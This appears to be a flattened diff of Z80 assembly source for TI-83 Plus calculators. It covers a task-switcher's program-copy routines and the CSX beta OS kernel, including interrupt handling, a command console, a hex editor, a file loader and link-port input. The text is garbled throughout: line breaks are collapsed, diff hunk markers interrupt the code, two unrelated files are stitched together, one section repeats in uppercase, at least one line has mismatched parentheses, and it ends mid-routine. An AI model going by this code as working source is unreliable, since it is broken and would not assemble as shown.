hl, (fptr_prgtitle) - - ; All done - xor a ; Load error code 0 - Sucess - ret - -; Moves the active program into a variable -; -; Inputs - -; (cprogram) should contain the name of the program to load in -; -; Returns - -; Program is moved into variable -; -cpy_prgm_out: - - ; Load prgm name into OP1 - ld hl, cprogram - rst 20h ;rMOV9TOOP1 - - ; Get src - ld hl, userMem - ld (cpysrc), hl - - ; Clear tempword - ld hl, 5 - ld (tempword), hl - - ; Get program size - ld hl, (progsize) - ld (bytes2go), hl - - ; Update size field of var - push hl - bcall(_chkfindsym) - ex de, hl - pop de - inc de - inc de - inc de - ld (hl), e - inc hl - ld (hl), d - -cpyout_loop: - - ; Get copy block size - call calcblock - - ; Calculate cpydest - bcall(_chkfindsym) - ex de, hl - ld bc, (tempword) - add hl, bc - ex de, hl - - ; Increase size of dest - ld hl, (blocksize) - bcall(_insertmem) - - ; Copy data - ld hl, (cpysrc) - ld bc, (blocksize) - ldir - - ; Increase tempword - ld hl, (tempword) - ld bc, (blocksize) - add hl, bc - ld (tempword), hl - - ; Decrease size of src - ld hl, (cpysrc) - ld de, (blocksize) - bcall(_delmem) - - ; Loop if not finished - ld hl, (bytes2go) - xor a - cp h - jr nz, cpyout_loop - cp l - jr nz, cpyout_loop - - ret - -; Moves the selected variable into the active program -; -; Inputs - -; (cprogram) should contain the name of the program to load in -; -; Returns - -; Program is moved into variable -; -cpy_prgm_in: - - ; Load prgm name into OP1 - ld hl, cprogram - rst 20h ;rMOV9TOOP1 - - ; Get program size - bcall(_chkfindsym) - ex de, hl - push hl - bcall(_ldhlind) - dec hl - dec hl - dec hl - ld (bytes2go), hl - ld (progsize), hl - - ; Update size field of var - pop hl - ld de, 3 - ld (hl), e - inc hl - ld (hl), d - - ; Get dest - ld hl, userMem - ld (cpydest), hl - -cpyin_loop: - - ; Get copy block size - call calcblock - - ; Increase size of dest - ld hl, (blocksize) - ld de, (cpydest) - bcall(_insertmem) - - ; Calculate cpysrc - bcall(_chkfindsym) - ex de, hl - ld bc, 5 - add hl, bc - push hl - - ; Copy data - ld bc, (blocksize) - ld de, (cpydest) - ldir - ld (cpydest), de - - ; Decrease size of src - pop hl - ld de, (blocksize) - bcall(_delmem) - - ; Loop if not finished - ld hl, (bytes2go) - xor a - cp h - jr nz, cpyin_loop - cp l - jr nz, cpyin_loop - - ; Set pptr_code - ld hl, userMem + 4 - call skipstr - inc hl - inc hl - ld (pptr_code), hl - - ; Set pptr_preserve - ld hl, (progsize) - ld bc, userMem - task_end - add hl, bc - ld (pptr_preserve), hl - - ret - -; Copy block size calulating routine -; -calcblock: - ld bc, maxblocksize -smaller: - dec bc - ld hl, (bytes2go) - or a - sbc hl, bc - jr c, smaller - ld (bytes2go), hl - ld (blocksize), bc - ret - -; Skip string routine -; -skipstr: - ld a, (hl) - cp 0 - inc hl - jr nz, skipstr - ret - -; Check to see if enough free RAM for block copy buffer -chkEnoughForBuffer: - ld hl, maxblocksize - bcall(_EnoughMem) - ret nc - pop hl ; Get return address off stack - ret - -; Please Wait -; -plswait: -.db "",0 - -; Exit Message -; -msg: -.db "TSE v1.6",0 - -; The 4 byte TSE header for use by the validation code -; -tsevalid: -.db "TSE", 1 - -; Name of program to load as shell -; -shellprog: -.db ProtProgObj, "UTOPIA",0,0 - -; Memory equates -; -data: - -; Memory equates (Temporary) -bytes2go .equ saferam2 + 400 -blocksize .equ bytes2go + 2 -cpysrc .equ blocksize + 2 -cpydest .equ cpysrc + 2 -tempword .equ cpydest + 2 -tprogram .equ tempword + 2 - -.end - - -.nolist -#ifdef VTI -.echo "\nAssembling VTI version\n\n" -#else -.echo "\nAssembling Real version\n\n" -#endif -#include "csx.inc" -.list - -#ifdef VTI -#define VERSION "CSX 0.27 beta - VTI" -#define MODEL "TI-83 Plus" -#define DATE "08-27-2004" -#define AUTHOR "Sean McLaughlin" -#define ORG "United-TI" -#define CONT1 "sigma_zk@yahoo.com" -#define CONT2 "www.unitedti.org" -#else -#define VERSION "CSX 0.27 beta" -#define MODEL "TI-83 Plus" -#define DATE "08-27-2004" -#define AUTHOR "Sean McLaughlin" -#define ORG "United-TI" -#define CONT1 "sigma_zk@yahoo.com" -#define CONT2 "www.unitedti.org" -#endif - -LIBS = 54 - -.module _page00 -; RST 00 - Reset -.org $0000 - jp init - -zp.deref_hl_alt: .export zp.deref_hl_alt - ld e, (hl) - inc hl - ld d, (hl) - inc hl - ret - -; RST 08 - Load HL indirect -#if $ > $0008 -!!! -.echo "OH NOES!!!111\n\n" -#endif -.org $0008 - push af - ld a, (hl) - inc hl - ld h, (hl) - ld l, a - pop af - ret - -; RST 10 - Compare HL and DE (destroys A) -#if $ > $0010 -!!! -.echo "OH NOES!!!111\n\n" -#endif -.org $0010 - ld a, h - cp d - ret nz - ld a, l - cp e - ret - -zp.call_ix: .export zp.call_ix - jp (ix) - -; RST 18 - Read keypad port -#if $ > $0018 -!!! -.echo "OH NOES!!!111\n\n" -#endif -.org $0018 - out (key_port), a - inc hl - dec hl - in a, (key_port) - ret - -zp.call_hl .export zp.call_hl - jp (hl) - -; RST 20 - Add accumulator to HL -#if $ > $0020 -!!! -.echo "OH NOES!!!111\n\n" -#endif -.org $0020 - add a, l - ld l, a - adc a, h - sub l - ld h, a - ret - -zp.call_iy: .export zp.call_iy - jp (iy) - -; RST 28 - Invoke user-defined SWI -#if $ > $0028 -!!! -.echo "OH NOES!!!111\n\n" -#endif -.org $0028 - push hl - ld hl, (psp.restart) - ex (sp), hl - ret - -; RST 30 - Off-page call (dead weight) -#if $ > $0030 -!!! -.echo "OH NOES!!!111\n\n" -#endif -.org $0030 - push hl ; for ROM page - push hl ; for return - push hl - push de - push af - jp os_func_cont - -; RST 38 - ISR -#if $ > $0038 -!!! -.echo "OH NOES!!!111\n\n" -#endif -.org $0038 - ex af, af' - exx - - ld hl, os.status_flags - - in a, (irq_stat_port) - and $08 - jp nz, isr.on_raised - - jp isr.continue - -; Boot code comes here -#if $ > $0053 -!!! -.echo "OH NOES!!!111\n\n" -#endif -.org $0053 - jp init - -; Validated OS -.dw $A55A - -; Non-destructive compare of HL and DE -zp.cmp_hlde_nd: .export zp.cmp_hlde_nd - push hl - or a - sbc hl, de - pop hl - ret - -; Non-destructive compare of HL and BC -zp.cmp_hlbc_nd: .export zp.cmp_hlbc_nd - push hl - or a - sbc hl, bc - pop hl - ret - -; Version number string -#if $ > $0064 -!!! -.echo "OH NOES!!!111\n\n" -#endif - -os.version: -.db VERSION, 0 -.db MODEL, 0 - -; Compare HL and BC (destroys A) -zp.cmp_hlbc: .export zp.cmp_hlbc - ld a, h - cp b - ret nz - ld a, l - cp c - ret - -; Continuation of RST 30 -os_func_cont: - ld hl, 11 ; get return address - add hl, sp - ld e, (hl) - dec hl - ld d, (hl) - - in a, (flash_pageA_port) ; save the ROM page - dec hl - dec hl - ld (hl), a - - dec hl ; set return address - ld (hl), os_func_exit & $FF - dec hl - ld (hl), os_func_exit >> 8 - - ex de, hl ; get vector address - ld a, (hl) - inc hl - ld h, (hl) - ld l, a - - ld a, 1 - out (flash_pageA_port), a - ld a, (hl) ; get routine page - inc hl - ld d, (hl) ; get routine address - inc hl - ld h, (hl) - ld l, d - - out (flash_pageA_port), a ; restore inputs and transfer - pop af - pop de - ex (sp), hl - ret - -os_func_exit: - ex (sp), hl ; restore ROM page - push af - ld a, h - out (flash_pageA_port), a - pop af - pop hl - ex (sp), hl ; advance return by 2 - inc hl - inc hl - ex (sp), hl - ret - -; Continuation of RST 38 -isr.continue: -; ON key has been pressed - bit calc_on, (hl) - jr nz, isr.power_on - - set calc_on, (hl) - pop af - - ld hl, APS_TIME - ld (os.aps_timer), hl - - lcd_busy - ld a, $03 - out (lcd_cmd_port), a - lcd_busy - ld a, $18 - out (lcd_cmd_port), a - -isr.wait_on: - in a, (irq_stat_port) - and $08 - jr z, isr.wait_on - -isr.on_raised: -; Look for timer interrupt - in a, (irq_stat_port) - and $02 - jr z, isr.timer_end - - bit calc_on, (hl) - jr z, isr.timer_end - - bit aps_on, (hl) - jr z, isr.timer_end - - ld hl, (os.aps_timer) - dec hl - ld a, h - or l - ld (os.aps_timer), hl - - call z, isr.force_off - -isr.timer_end: - ld a, (os.status_flags) - and bitmask(prgm_running) - jr z, isr.end - - ld hl, (psp.interrupt) - ld a, (hl) - cp $C7 - inc hl - call z, zp.call_hl - -isr.end: - xor a - out (irq_mask_port), a - ld a, $0B - out (irq_mask_port), a - exx - ex af, af' - ei - ret - isr.power_on: ld a, kg_func rowread cp invmask(kb_2nd) jr nz, isr.2nd_raised - res calc_on, (hl) ld hl, isr.shut_down push hl jr isr.wait_on - isr.force_off: ld hl, os.status_flags res calc_on, (hl) @@ -994,7 +162,6 @@ isr.shut_down: ld a, $02 out (lcd_cmd_port), a pop af - isr.off_loop: push af ld a, $36 @@ -1005,20 +172,17 @@ isr.off_loop: ei halt jr isr.off_loop - isr.2nd_raised: ld hl, os.contrast ld a, kg_arrows rowread bit kb_up, a jr nz, isr.up_raised - isr.wait_up: ld a, kg_arrows rowread bit kb_up, a jr z, isr.wait_up - ld a, (hl) inc a jr z, isr.contrast_max @@ -1027,8150 +191,112 @@ isr.wait_up: isr.contrast_max: ld a, sk_up ld (os.prev_key), a - jr isr.end - -isr.up_raised: - bit kb_down, a - jr nz, isr.end - -isr.wait_down: - ld a, kg_arrows - rowread - bit kb_down, a - jr z, isr.wait_down - - ld a, (hl) - cp $C0 - jr z, isr.contrast_min - dec a - out (lcd_cmd_port), a - ld (hl), a -isr.contrast_min: - ld a, sk_down - ld (os.prev_key), a - jr isr.end - - -init: - di - im 1 - in a, (hw_port) - or a - and $80 - jp nz, init.basic - -; Silver edition - ld a, $81 - out ($07), a - dec a - out ($08), a - xor a - out ($08), a - out ($05), a - out ($20), a - out ($30), a - out ($33), a - out ($36), a - ld a, $14 - out ($29), a - -init.basic: -; BE and SE - xor a - out (link_port), a - ld a, $01 - out (irq_mask_port), a - ld a, $76 - out (irq_stat_port), a - ld a, $41 - out ($07), a - ld sp, $0000 - - ld hl, init.lcd_out - ld b, 5 -init.lcd_loop: - lcd_busy - ld a, (hl) - inc hl - out (lcd_cmd_port), a - djnz init.lcd_loop + JR ISR.END +ISR.UP_RAISED: + BIT KB_DOWN, A + JR NZ, ISR.END +ISR.WAIT_DOWN: + LD A, KG_ARROWS + ROWREAD + BIT KB_DOWN, A + JR Z, ISR.WAIT_DOWN + LD A, (HL) + CP $C0 + JR Z, ISR.CONTRAST_MIN + DEC A + OUT (LCD_CMD_PORT), A + LD (HL), A +ISR.CONTRAST_MIN: + LD A, SK_DOWN + LD (OS.PREV_KEY), A + JR ISR.END +INIT: + DI + IM 1 + IN A, (HW_PORT) + OR A + AND $80 + JP NZ, INIT.BASIC + LD A, $81 + OUT ($07), A + DEC A + OUT ($08), A + XOR A + OUT ($08), A + OUT ($05), A + OUT ($20), A + OUT ($30), A + OUT ($33), A + OUT ($36), A + LD A, $14 + OUT ($29), A +INIT.BASIC: + XOR A + OUT (LINK_PORT), A + LD A, $01 + OUT (IRQ_MASK_PORT), A + LD A, $76 + OUT (IRQ_STAT_PORT), A + LD A, $41 + OUT ($07), A + LD SP, $0000 + LD HL, INIT.LCD_OUT + LD B, 5 +INIT.LCD_LOOP: + LCD_BUSY + LD A, (HL) + INC HL + OUT (LCD_CMD_PORT), A + DJNZ INIT.LCD_LOOP - ld hl, $8000 - ld de, $8001 - ld bc, $8000 - ld (hl), 0 - ldir - - ld a, $F0 - ld (os.contrast), a - - ld a, bitmask(calc_on) | bitmask(aps_on) - ld (os.status_flags), a - - ld hl, APS_TIME - ld (os.aps_timer), hl - - ld hl, user_ram - ld (os.free_mem_ptr), hl - - ld hl, $0000 - ld (os.temp_num), hl - - in a, (irq_stat_port) - and $08 - jr nz, $-4 - - call isr.force_off - - call zp.cclear - call zp.credraw - call zp.vbufdisp - ld hl, init.str_clear - call zp.cputs - call zp.cdisp - jp init.all_good - -init.lcd_out .db $18, $01, $F0, $40, $05 -init.str_clear .db "Mem Cleared", 0 - -#include "libsrc\\string\\tokenize.z80" -.echo "\n" - -init.all_good: - ei -zp.CONSOLE: .export zp.CONSOLE - ld hl, zp.CONSOLE - push hl - - ld hl, os.arg_ptrs - ld de, os.arg_ptrs + 1 - ld (hl), 0 - ld bc, 127 - ldir - - call zp.cgets - - ld hl, os.buffer - ld d, h - ld e, l - ld ix, os.arg_ptrs - call zp.tokenize - ld a, c - ld (os.arg_count), a - - ld hl, (arg(0)) - call zp.strupr - call zp.strlen - ld b, c - xor a - - -Hash: - add a, (hl) - inc hl - djnz Hash - and 15 ; A = HASH(x) - - ld hl, hash_table - add a, a - offset_hl - deref_hl - - ld a, (hl) ; # of strings - or a - jp z, err_syntax - ld b, a - inc hl - ld de, (arg(0)) - -Find_String: - call zp.strcmp - jr z, _Found_String - call zp.strnext - inc hl - inc hl - djnz Find_String - jp err_syntax -_Found_String: - call zp.strnext - deref_hl ; HL = address - ld (os.estack), sp - jp (hl) - - -err_syntax: - ld hl, str_esyntax1 - ld de, os.scrap - call zp.strcpy - - ld hl, os.scrap - ld de, (arg(0)) - call zp.strcat - - ld hl, os.scrap - ld de, str_esyntax2 - call zp.strcat - - ld hl, os.scrap - call zp.cputs - jp zp.cdisp - -str_esyntax1 .text "Unknown: \"\000" -str_esyntax2 .text "\"\000" - -hash_table: - .dw hash0, hash1, hash2, hash3, hash4, hash5, hash6, hash7 - .dw hash8, hash9, hashA, hashB, hashC, hashD, hashE, hashF - -; (byte) Commands hashing to this value -; (zstr) String1 -; (word) Vector1 -; (zstr) String2 -; (word) Vector2 -; etc. - -hash0 -hash1 -hash3 -hash4 -hash6 -hash7 -hash8 -hash9 -hashA -hashB -hashD .db 0 - -hash2 .db 1 - .db "CLS", 0 - .dw cmd_CLS - -hash5 .db 2 - .db "HEX", 0 - .dw cmd_HEX - .db "RUN", 0 - .dw cmd_RUN - -hashC .db 3 - .db "LIST", 0 - .dw cmd_LIST - .db "INFO", 0 - .dw cmd_INFO - .db "KILL", 0 - .dw cmd_KILL - -hashE .db 1 - .db "LINK", 0 - .dw cmd_LINK - -hashF .db 1 - .db "MEM", 0 - .dw cmd_MEM - -#include "commands\\cls.z80" -#include "commands\\hex.z80" -#include "commands\\info.z80" -#include "commands\\kill.z80" -#include "commands\\link.z80" -#include "commands\\list.z80" -#include "commands\\mem.z80" -#include "commands\\run.z80" - -gen_error: - ld hl, os.status_flags - bit prgm_running, (hl) - jr z, _system_error - ld hl, (psp.ehandler) - ld a, (hl) - cp $C7 - jr nz, _bad_handler - - inc hl - ld sp, (psp.stack) - ld a, (os.exception_num) - jp (hl) - -_bad_handler: - ld hl, str_eunhandled - call zp.cputs - -_system_error: - ld hl, str_exception - call zp.cputs - - ld de, os.console + (1*24) + 2 - ld a, (os.exception_num) - ld b, a - call zp.htoa_b - ld a, b - add a, a - ld hl, err_strings - offset_hl - deref_hl - inc de - call zp.strcpy - dec de - ld a, ' ' - ld (de), a - -; Dump values of AF - IY - ld de, os.console + (2*24) + 3 - ld b, 6 -_Dump_Regs: - pop hl - call zp.htoa_w - inc de - inc de - inc de - inc de - djnz _Dump_Regs - -; Dump PC - 3 - pop hl - dec hl - dec hl - dec hl - call zp.htoa_w - inc de - inc de - inc de - inc de - -; Dump SP - ld hl, 0 - add hl, sp - push hl - call zp.htoa_w - inc de - inc de - inc de - inc de - -; Dump I - ld a, i - call zp.htoa_b - -; Dump stack - pop hl - ld a, h - or l - jr z, _No_Stack_Dump - - ld de, 30 - add hl, de - ld b, 15 - jr nc, _XXX - - ld a, $1C - sub l - srl a - inc a - ld b, a - -_XXX: - ld c, 5 - ld de, os.console + (6*24) - ld hl, 0 - add hl, sp -_Dump_Stack: - push hl - deref_hl - push bc - call zp.htoa_w - pop bc - - dec c - jr z, _Dump_Stack1 - inc de -_Dump_Stack2: - pop hl - inc hl - inc hl - djnz _Dump_Stack - - -_No_Stack_Dump: - call zp.cdisp - ld sp, (os.estack) - ret - -_Dump_Stack1: - ld c, 5 - jr _Dump_Stack2 - -.module HEX_EDITOR -_address = os.scrap -_cur_y = os.scrap + 2 -_cur_x = os.scrap + 3 -_mode = os.scrap + 4 ; 0 = hex !0 = ascii -_string = os.scrap + 5 - -app.hexedit: .export app.hexedit - call zp.credraw - - ld hl, 0 - ld de, (arg(1)) - ld a, d - or e - jr z, _NoArg - ld b, 4 - call zp.atoh -_NoArg: - ld (_address), hl - ld hl, 0 - ld (_cur_y), hl - ld (_mode), hl - jp _Refresh - -_loop: - ld hl, _Refresh - push hl -_inkey: - call zp.getch - - cp k_enter - jp z, _Set - cp k_down - jr z, _CurDown - cp k_up - jr z, _CurUp - cp k_left - jr z, _CurLeft - cp k_right - jr z, _CurRight - - range_test('C','S',_inkey,_lc) - or $20 - -_lc: - cp 'c' - jp z, _Compare - cp 'e' - jp z, _Enter - cp 'f' - jp z, _Fill - cp 'g' - jp z, _Goto - cp 'k' - jp z, _PageBack - cp 'l' - jp z, _PageAhead - cp 'm' - jp z, _Mode - cp 'p' - jp z, _Page - cp 's' - jp z, _Search - cp 'q' - jr nz, _inkey - -; Exit -_Quit: - pop af - ret - -; Move the cursor down one row -_CurDown: - call _Func_PrepCursor -_CurDown_2: - ld a, l - cp 7 - jr z, _ScrollDown - inc l -_CurExit: - ld (_cur_y), hl - call _XORCursor - call zp.vbufdisp - jr _inkey -_ScrollDown: - ld de, 8 -_CurMod: - ld hl, (_address) - add hl, de - ld (_address), hl - ret - -; Move the cursor up one row -_CurUp: - call _Func_PrepCursor -_CurUp_2: - ld a, l - or a - jr z, _ScrollUp - dec l - jr _CurExit -_ScrollUp: - ld de, -8 - jr _CurMod - ret - -; Move the cursor left one byte -_CurLeft: - call _Func_PrepCursor - ld a, h - or a - jr z, _WrapLeft - dec h - jr _CurExit -_WrapLeft: - ld h, 7 - ld (_cur_y), hl - jr _CurUp_2 - -_CurRight: - call _Func_PrepCursor - ld a, h - sub 7 - jr z, _WrapRight - inc h - jr _CurExit -_WrapRight: - ld h, a - ld (_cur_y), hl - jr _CurDown_2 - - -; Set a byte -_Set: - call _Func_AddressTest - - ld hl, _str_set - call _DispCommand - - ld a, (_mode) - or a - jr z, _SHex - ld a, (os.buffer) - ld d, a - jr _SWrite - -_SHex: - ld de, os.buffer - ld b, 2 - call zp.atoh - jp c, _HexError - ld d, l - -_SWrite: - call _Get_Cur_Address - ld (hl), d - ret - - -_Mode: - ld a, (_mode) - cpl - ld (_mode), a - ret - - -_PageAhead: - ld hl, (_address) - ld de, 64 -_PageAhead_2: - add hl, de - ld (_address), hl - ret - -_PageBack: - ld hl, (_address) - ld de, -64 - jr _PageAhead_2 - - -; Warp to a specified address -_Goto: - ld hl, _str_goto - call _DispCommand - - ld de, os.buffer - ld b, 4 - call zp.atoh - jp c, _HexError - ld (_address), hl - ret - -_Page: - ld hl, _str_page - call _DispCommand - - ld de, os.buffer - ld b, 2 - call zp.atoh - jp c, _HexError - ld a, l - out (flash_pageA_port), a - ret - -_Compare: - ld hl, _str_comp - call _DispCommand - call _ParseC - call _Get_Cur_Address - ld bc, (arg(0)) - ld de, (arg(1)) - - ld a, b - or c - jp z, _inkey - -_CLoop: - ld a, (de) - inc de - cpi - jr nz, _CMismatch - jp pe, _CLoop - ld hl, _str_match - jp _HE2 -_CMismatch: - dec hl - ld (_address), hl - push de - ld hl, _str_mismatch -_C2: - ld de, _string - call zp.strcpy - dec de - pop hl - dec hl - call zp.htoa_w - xor a - ld (de), a - sbc hl, hl - ld (_cur_y), hl - ld hl, _string - jp _HE2 - - -_Enter: - call _Func_AddressTest - push hl - ld hl, _str_enter - call _DispCommand - ld de, os.buffer - ld a, (_mode) - or a - jr z, _EWriteH - - ex de, hl - pop de -_EWriteA: - ld a, (hl) - or a - ret z - ldi - jr _EWriteA - - -_EWriteH: - pop bc - push bc - ld b, 2 - call zp.atoh - pop bc - jp c, _HexError - ld a, l - ld (bc), a - inc bc - ld a, (de) - or a - jr nz, _EWriteH+1 - ret - -_Search: - ld hl, _str_search - call _DispCommand - - ld de, os.buffer - ld a, (_mode) - or a - jr nz, _SAsc - ld ix, os.buffer - ld c, 0 -_SConvHex: - ld b, 2 - call zp.atoh - jp c, _HexError - ld (ix), l - inc ix - inc c - ld a, (de) - or a - jr nz, _SConvHex - jr _SDoSearch - -_SAsc: - ld hl, os.buffer - call zp.strlen -_SDoSearch: - call _Get_Cur_Address - ld ixh, c - ld de, os.buffer - ld bc, 65535 -_SBegin: - ld a, (de) - cpir - push de - push ix -_SStep: - inc de - dec ixh - jr z, _SFound - ld a, (de) - cpi - jr z, _SStep -_SFound: - pop ix - pop de - jr nz, _SBegin - ld d, 0 - ld e, ixh - sbc hl, de - ld (_address), hl - inc hl - push hl - ld hl, _str_found - jp _C2 - -_Fill: - call _Func_AddressTest - - ld hl, _str_fill - call _DispCommand - call _ParseFS - call _Get_Cur_Address - ld bc, (arg(0)) - ld a, b - or c - jp z, _inkey - ld de, (arg(1)) -_Fill_Loop: - ld (hl), e - inc hl - dec bc - ld a, b - or c - jr nz, _Fill_Loop - ret - -_Get_Cur_Address: - ld hl, (_address) - ld a, (_cur_y) - add a, a - add a, a - add a, a - ld e, a - ld a, (_cur_x) - add a, e - offset_hl - ret - - pop af -_HexError: - ld a, CMD_PANE - call zp.clrline - ld hl, _str_hex -_HE2: - ld bc, CMD_PANE*256+0 - call zp.puts_con - ld a, CMD_PANE - call zp.displine - call zp.getch - ret - -; Parse for FIND and SEARCH: -; -_ParseFS: - call _Func_UnivParse - jr c, _HexError-1 - ld a, (_mode) - or a - ld a, (de) - ld l, a - ld b, 2 - call z, zp.atoh - jr c, _HexError-1 - ld (arg(1)), hl - ret - -; Parse for COMPARE: -; -_ParseC: - call _Func_UnivParse - jr c, _HexError-1 - ld b, 4 - call zp.atoh - jr c, _HexError-1 - ld ((arg(1)), hl - ret - - -; Rebuild the display from nothing -_Refresh: - ld a, MSG_PANE - call zp.clrline - ld a, CMD_PANE - call zp.clrline - - ld hl, (_address) - ld bc, 0 - -_Refresh_Line: - push bc - - ld de, _string - call zp.htoa_w - ld a, ':' - ld (de), a - inc de - ld a, ' ' - ld (de), a - inc de - - call _Func_Conv - call _Func_Conv - call _Func_Conv - call _Func_Conv - - pop bc - push bc - - ld de, _string -_Refresh_Write: - ld a, (de) - inc de - call zp.putch_con - inc c - ld a, c - cp 22 - jp nz, _Refresh_Write - - pop bc - ld a, b - add a, 6 - ld b, a - cp 8*6 - jp nz, _Refresh_Line - - call _XORCursor - call zp.vbufdisp - jp _loop - -_XORCursor: - ld hl, (_cur_y) - ld a, h - ld h, 0 - add hl, hl - add hl, hl - add hl, hl - ld d, h - ld e, l - add hl, hl - add hl, hl - add hl, hl - add hl, de - add a, 3 - offset_hl - ld de, os.lcd_mem - add hl, de - ld b, 6 - ld de, 12 -_InvLoop: - ld a, (hl) - cpl - ld (hl), a - add hl, de - djnz _InvLoop - ret - -_DispCommand: - ld a, MSG_PANE ; Display function name - call zp.clrline - ld bc, MSG_PANE*256 - call zp.puts_con - ld a, MSG_PANE - call zp.invline - ld a, MSG_PANE - call zp.displine - jp zp.cgets - - -; Bunches of silly functions to shorten code size - -; Code used by both parsing functions -_Func_UnivParse: - ld b, 2 - - ld hl, os.buffer - ld d, h - ld e, l - ld ix, os.arg_ptrs - call zp.tokenize - - ld de, (arg(0)) - ld b, 4 - call zp.atoh - ret c - ld (arg(0)), hl - ld de, (arg(1)) - ret - -_Func_PrepCursor: - call _XORCursor ; Erase cursor highlight - ld hl, (_cur_y) - ret - -; Convert bytes to ASCII or Hex -_Func_Conv: - ld a, (_mode) - or a - jr z, _Func_Conv_Hex - - ld a, ' ' - ldi - ld (de), a - inc de - ldi - ld (de), a - inc de - ret - -_Func_Conv_Hex: - ld b, (hl) - inc hl - ld c, (hl) - inc hl - push hl - ld h, b - ld l, c - call zp.htoa_w - pop hl - ret - -; Test if in Flash -_Func_AddressTest: - call _Get_Cur_Address - pop de - bit 7, h - jp z, _inkey - push de - ret -; "0 1 2 " -; "012345678901234567890123" -_str_comp .db "COMPARE MEMORY", 0 -_str_enter .db "ENTER STRING", 0 -_str_fill .db "FILL MEMORY", 0 -_str_goto .db "GO TO ADDRESS", 0 -_str_page .db "SET FLASH PAGE", 0 -_str_set .db "SET BYTE", 0 -_str_hex .db "Invalid Hex Value", 0 -_str_match .db "Memory Matches", 0 -_str_mismatch .db "Mismatch at ", 0 -_str_search .db "SEARCH", 0 -_str_found .db "String Found at ", 0 - -.echo "Hex Editor\t" -.echo $-app.hexedit -.echo "\n" - -vect_putch_con: - push hl - push de - push bc - - ld h, 0 - ld l, b - ld d, h - ld e, l - add hl, hl - add hl, de - add hl, hl - add hl, hl - - ld e, c - ld c, a ; C.0 font lsb - srl e - rl c ; C.1 font lsb C.0 = column lsb - add hl, de - - ld de, os.lcd_mem - add hl, de ; HL = address into lcd_mem - - push hl - rra - ld h, 0 - ld l, a - ld d, h - ld e, l - add hl, hl - add hl, de - add hl, hl - ld de, os.font_con - add hl, de ; HL = address of bitmap - ex (sp), hl - pop ix ; HL -> lcd_mem IX -> bitmap - - ld b, 6 - -_loop: - ld a, (ix) - bit 1, c - jr nz, _oddfont - rlca - rlca - rlca - rlca -_oddfont: - and $0F - ld e, $F0 - bit 0, c - jr nz, _oddcolumn - ld e, $0F - rlca - rlca - rlca - rlca -_oddcolumn: - push af - ld a, (hl) - and e - ld d, a - pop af - or d - ld (hl), a - inc ix - ld de, 12 - add hl, de - djnz _loop - pop bc - pop de - pop hl - ret - -.echo "putch_con\t" -.echo $-vect_putch_con -.echo "\n" - - -vect_f_load: - -_reloc_size = os.scrap -_load_size = os.scrap + 2 -_reloc_ptr = os.scrap + 4 -_load_ptr = os.scrap + 6 -_reloc_ptr2 = os.scrap + 8 -_reloc_endptr = os.scrap + 10 - - ld hl, user_ram - cmp_hlde - ret z - -; Get sizes of both files - call zp.f_size - ld (_reloc_size), bc - ex de, hl ; HL = & load file, DE = & reloc file - call zp.f_size - ld (_load_size), bc - ld (_load_ptr), hl - ld (_reloc_ptr), de - -; Compare sizes - ld d, b - ld e, c - ld hl, (_reloc_size) ; HL = size reloc, DE = size load -_CMP: - cmp_hlde - jr z, _Sizes_Are_Equal - jr c, _LoadFile_Is_Larger - -; reloc > load -; Do exchange of DE bytes - ld b, d - ld c, e - ld hl, (_load_ptr) - ld de, (_reloc_ptr) - call zp.memswap - add hl, bc - ex de, hl - add hl, bc - ex de, hl -; ----------------------------------------------------- -; | LOAD_FILE | RELOC_PT_2 | STUFF | RELOC_PT_1 | STUFF | -; ----------------------------------------------------- -; ^_reloc_ptr ^DE ^_load_ptr ^HL - -; Get size difference - ld (_reloc_ptr2), de - ld (_reloc_endptr), hl - ld hl, (_reloc_size) - ld de, (_load_size) - or a - sbc hl, de - -; Find HL / 1024 and HL % 1024 - ld a, h - and $03 - ld b, a ; BC = HL % 1024 == HL & 0x03FF - ld c, l - or c - jr z, _No_Remainder - -; Move HL % 1024 bytes: -; ------------------------------------------------------- -; | LOAD_FILE |***RELOC_PT_2 | STUFF | RELOC_PT_1 | STUFF | -; ------------------------------------------------------- -; | LOAD_FILE |<--RELOC_PT_2 | STUFF | RELOC_PT_1 | STUFF | -; ------------------------------------------------------- -; | LOAD_FILE | RELOC_PT_2 | STUFF | RELOC_PT_1***| STUFF | -; ------------------------------------------------------- - - push hl - call _Twiddle_Bytes - pop hl - -_No_Remainder: - srl h - srl h - ret z - ld a, h ; A = HL / 1024 == H >> 2 - -_Loop: -; Move 1024 bytes A times - ld bc, 1024 - call _Twiddle_Bytes - dec a - ret z - jr _Loop - - -_LoadFile_Is_Larger: -; load > reloc - -; Do exchange of HL bytes - ld b, h - ld c, l - push de - push hl - ld hl, (_load_ptr) - ld de, (_reloc_ptr) - call zp.memswap - add hl, bc - ex de, hl - add hl, bc - ex de, hl - -; ---------------------------------------------------------------- -; | LOAD_PT_1 | RELOC_II | RELOC_III | RELOC_I | LOAD_PT_2 | STUFF | -; ---------------------------------------------------------------- -; ^_reloc_ptr ^DE ^_load_ptr ^HL - -; Update vars and go through the whole rigmarole again - ld (_load_ptr), hl - ld (_reloc_ptr), de - ex de, hl - call zp.f_size - ld (_reloc_size), bc - pop de - pop hl - or a - sbc hl, de - ld (_load_size), hl - ex de, hl - ld h, b - ld l, c - jp _CMP - -_Sizes_Are_Equal: -; Exchange DE or HL bytes - ld b, h - ld c, l - ld hl, (_load_ptr) - ld de, (_reloc_ptr) - jp zp.memswap - add hl, bc - ex de, hl - add hl, bc - ex de, hl - -_Twiddle_Bytes: - ld hl, (_reloc_ptr2) - ld de, os.free - push bc - ldir - - ex de, hl - ld hl, (_reloc_endptr) - or a - sbc hl, de - ld b, h - ld c, l - ld hl, (_reloc_ptr2) - ex de, hl - ldir - - pop bc - ld hl, os.free - ldir - - ret - -.echo "f_load \t" -.echo $-vect_f_load -.echo "\n" - - -.module INPUT -vect_input: - push bc - push hl - - ld b, 8 ; counter - ld hl, TIMEOUT ; timer - ld a, RED1_WHITE1 - out (link_port), a ; Set W = 1, R = 1 - -_Start: - in a, (link_port) - and %00000011 - cp %00000011 - jr nz, _Get_Bit - call _Chk_Timeout - jr _Start - -_Get_Bit: - cp %00000010 ; If W = 1, R = 0, a zero is incoming - jr z, _Receive_0 - -_Receive_1: - srl c ; Shift accumulator and set bit - set 7, c - - ld a, RED0_WHITE1 - out (link_port), a - jr _End_Wait - -_Receive_0: - srl c - - ld a, RED1_WHITE0 - out (link_port), a - -_End_Wait: - call _Chk_Timeout - in a, (link_port) - and %00000011 - jr z, _End_Wait - ld a, RED1_WHITE1 - out (link_port), a - - ld hl, TIMEOUT - djnz _Start - - ld a, c - or a -_Exit: - 